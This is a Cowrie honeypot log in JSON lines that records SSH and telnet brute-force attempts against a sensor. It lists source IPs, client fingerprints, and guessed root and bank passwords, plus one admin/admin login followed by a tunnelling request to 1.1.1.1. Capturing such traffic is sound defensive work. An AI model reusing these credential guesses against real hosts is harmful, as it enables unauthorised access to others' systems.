{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"e1:44:45:05:ad:f1:0a:3e:09:fd:c3:ef:c7:fa:ee:e4","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDAIdkQwu87vhLogJFs2DANSJEQJekZ2gIr720rFT0+IbXJoo3w57x0nhMtinONoL1YFbYEJGyMyB91Jnlj/XjaisKmKc2BemI3bKqU6WRndQziibt2z2V0CmOAlaZvKn3tbnCpTZF73qh8guYlx0aFRSxn4mbGfQmJRJ7IBka9aGryiWifjTsjqx3OK6BYTq8DMM7FKBsWyY88VleApaWR5BQydCyo2zrpig+3iK+9wwAmdzU/X7+NSBD2nAYfJqUYzIMzRnKS89sCzfjl3959Nb8BkkXssvhJTlZJccOhVDvgBolqSxsoVOMZNSBfyvR9nOyniU2OfQT8+rsgS6fW1fc9MjdjSP/DzRox6b4eks4Toll2hvpYGKZmcr6Opwlo9Kbxe6ZShUIvrRn2NRsb/02LlJDdTEpGJ6HMJ6BLGkS/FIOOZM+iC2l71lF3MxmDOj3wC7WQkWcAuQ9tKm6N7a++a77IvrYBejFE2xcW5/w7LDJv6qH0IMAiMMZHZu3HP6ZJe3KzoZslUnUWpQZMF5GbTWzzvadu78H1AoY5D0LNDU5Q/OBmSQVpYZ5/AsqFoz/L6uCytA+fytI9iXSyy1DZu0ovn4VgnaZAf3BAtnN3tffUPo7x7p1hUN1DV7bLK/qm47M+SS9j8Ne4iYcWJJwD6qWsFX9JN4dqDfoiZw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint e1:44:45:05:ad:f1:0a:3e:09:fd:c3:ef:c7:fa:ee:e4","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:22:50.098127Z","src_ip":"198.46.134.148","session":"92f7c2e8a42b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"e1:44:45:05:ad:f1:0a:3e:09:fd:c3:ef:c7:fa:ee:e4","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDAIdkQwu87vhLogJFs2DANSJEQJekZ2gIr720rFT0+IbXJoo3w57x0nhMtinONoL1YFbYEJGyMyB91Jnlj/XjaisKmKc2BemI3bKqU6WRndQziibt2z2V0CmOAlaZvKn3tbnCpTZF73qh8guYlx0aFRSxn4mbGfQmJRJ7IBka9aGryiWifjTsjqx3OK6BYTq8DMM7FKBsWyY88VleApaWR5BQydCyo2zrpig+3iK+9wwAmdzU/X7+NSBD2nAYfJqUYzIMzRnKS89sCzfjl3959Nb8BkkXssvhJTlZJccOhVDvgBolqSxsoVOMZNSBfyvR9nOyniU2OfQT8+rsgS6fW1fc9MjdjSP/DzRox6b4eks4Toll2hvpYGKZmcr6Opwlo9Kbxe6ZShUIvrRn2NRsb/02LlJDdTEpGJ6HMJ6BLGkS/FIOOZM+iC2l71lF3MxmDOj3wC7WQkWcAuQ9tKm6N7a++a77IvrYBejFE2xcW5/w7LDJv6qH0IMAiMMZHZu3HP6ZJe3KzoZslUnUWpQZMF5GbTWzzvadu78H1AoY5D0LNDU5Q/OBmSQVpYZ5/AsqFoz/L6uCytA+fytI9iXSyy1DZu0ovn4VgnaZAf3BAtnN3tffUPo7x7p1hUN1DV7bLK/qm47M+SS9j8Ne4iYcWJJwD6qWsFX9JN4dqDfoiZw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:22:50.101355Z","src_ip":"198.46.134.148","session":"92f7c2e8a42b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.3","message":"Connection lost after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:22:50.130885Z","src_ip":"198.46.134.148","session":"92f7c2e8a42b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.153.68.219","src_port":56374,"dst_ip":"10.17.0.5","dst_port":22,"session":"2472d1ecff90","protocol":"ssh","message":"New connection: 103.153.68.219:56374 (10.17.0.5:22) [session: 2472d1ecff90]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:22:53.136444Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:22:53.139954Z","src_ip":"103.153.68.219","session":"2472d1ecff90","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:22:53.392886Z","src_ip":"103.153.68.219","session":"2472d1ecff90","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"arman123","message":"login attempt [root/arman123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:22:54.159974Z","src_ip":"103.153.68.219","session":"2472d1ecff90","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.133.62.83","src_port":37526,"dst_ip":"159.203.135.109","dst_port":22,"session":"4cc1fdf980bb","protocol":"ssh","message":"New connection: 62.133.62.83:37526 (159.203.135.109:22) [session: 4cc1fdf980bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:22:54.619368Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:22:54.623790Z","src_ip":"62.133.62.83","session":"4cc1fdf980bb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:22:54.703777Z","src_ip":"62.133.62.83","session":"4cc1fdf980bb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"svetocopy","message":"login attempt [root/svetocopy] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:22:54.940278Z","src_ip":"62.133.62.83","session":"4cc1fdf980bb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:22:55.414953Z","src_ip":"103.153.68.219","session":"2472d1ecff90","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:22:56.021965Z","src_ip":"62.133.62.83","session":"4cc1fdf980bb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.66.85.226","src_port":46906,"dst_ip":"10.17.0.5","dst_port":22,"session":"04612381d9c2","protocol":"ssh","message":"New connection: 80.66.85.226:46906 (10.17.0.5:22) [session: 04612381d9c2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:23:13.887632Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:23:13.891865Z","src_ip":"80.66.85.226","session":"04612381d9c2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:23:13.980811Z","src_ip":"80.66.85.226","session":"04612381d9c2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"mehanik","message":"login attempt [root/mehanik] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:23:14.248414Z","src_ip":"80.66.85.226","session":"04612381d9c2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:23:15.339995Z","src_ip":"80.66.85.226","session":"04612381d9c2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"72.17.34.38","src_port":48744,"dst_ip":"10.17.0.5","dst_port":22,"session":"079be9e77e23","protocol":"ssh","message":"New connection: 72.17.34.38:48744 (10.17.0.5:22) [session: 079be9e77e23]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:23:22.937252Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:23:22.940902Z","src_ip":"72.17.34.38","session":"079be9e77e23","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:23:22.975079Z","src_ip":"72.17.34.38","session":"079be9e77e23","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"deepak123","message":"login attempt [root/deepak123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:23:23.147361Z","src_ip":"72.17.34.38","session":"079be9e77e23","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:23:24.185008Z","src_ip":"72.17.34.38","session":"079be9e77e23","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"27.71.230.31","src_port":33326,"dst_ip":"159.203.135.109","dst_port":22,"session":"a4c65ebebd03","protocol":"ssh","message":"New connection: 27.71.230.31:33326 (159.203.135.109:22) [session: a4c65ebebd03]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:23:29.185179Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:23:29.247280Z","src_ip":"27.71.230.31","session":"a4c65ebebd03","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:23:31.698449Z","src_ip":"27.71.230.31","session":"a4c65ebebd03","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Admin321@","message":"login attempt [root/Admin321@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:23:34.008394Z","src_ip":"27.71.230.31","session":"a4c65ebebd03","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":51.07593297958374,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:23:34.757168Z","src_ip":"94.23.66.112","session":"a8c39085fb99","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:23:35.327419Z","src_ip":"27.71.230.31","session":"a4c65ebebd03","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.66.112","src_port":44482,"dst_ip":"10.17.0.5","dst_port":23,"session":"82a281b22fe2","protocol":"telnet","message":"New connection: 94.23.66.112:44482 (10.17.0.5:23) [session: 82a281b22fe2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:23:47.903862Z"}
{"eventid":"cowrie.session.closed","duration":0.004070281982421875,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:23:47.907803Z","src_ip":"94.23.66.112","session":"82a281b22fe2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"72.17.34.38","src_port":58254,"dst_ip":"10.17.0.5","dst_port":22,"session":"e2ca8210f0f3","protocol":"ssh","message":"New connection: 72.17.34.38:58254 (10.17.0.5:22) [session: e2ca8210f0f3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:25:21.917288Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:25:21.921897Z","src_ip":"72.17.34.38","session":"e2ca8210f0f3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":53526,"dst_ip":"10.17.0.5","dst_port":22,"session":"f335d79883cb","protocol":"ssh","message":"New connection: 87.251.64.176:53526 (10.17.0.5:22) [session: f335d79883cb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:25:21.927710Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:25:21.931869Z","src_ip":"87.251.64.176","session":"f335d79883cb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:25:21.956466Z","src_ip":"72.17.34.38","session":"e2ca8210f0f3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:25:22.026005Z","src_ip":"87.251.64.176","session":"f335d79883cb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"bank","password":"123456","message":"login attempt [bank/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:25:22.131902Z","src_ip":"72.17.34.38","session":"e2ca8210f0f3","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:25:22.397795Z","src_ip":"87.251.64.176","session":"f335d79883cb","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T10:25:22.494007Z","session":"f335d79883cb","protocol":"ssh"}
